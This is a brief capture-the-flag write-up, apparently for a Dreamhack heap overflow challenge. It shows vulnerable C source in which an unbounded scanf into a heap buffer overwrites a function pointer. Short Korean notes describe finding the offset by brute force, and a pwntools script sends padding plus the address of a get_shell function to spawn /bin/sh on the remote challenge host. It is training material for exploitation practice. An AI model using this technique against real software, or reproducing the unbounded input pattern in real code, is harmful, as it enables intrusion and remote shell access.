#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
struct over {
void (*table)();
};
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void table_func() {
printf("overwrite_me!");
}
int main() {
char *ptr = malloc(0x20);
struct over *over = malloc(0x20);
initialize();
over->table = table_func;
scanf("%s", ptr);
if( !over->table ){
return 0;
}
over->table();
return 0;
}
ptr에 크기 조건을 안 두고 입력을 받는데, 이 과정에서 overflow가 발생할 수 있다.
그 오프셋 차이가 크지 않을 것 같아 Brute Force로 풀었다. ( 애초에 컴퓨터 환경과 서버 환경이 달라 계산이 실패했다.)
from pwn import *
p = remote('host3.dreamhack.games', 14012)
#p = process('./basic_heap_overflow')
getshell = 0x0804867b
payload = 'A' * 0x28
payload += p32(getshell)
p.send(payload)
p.interactive()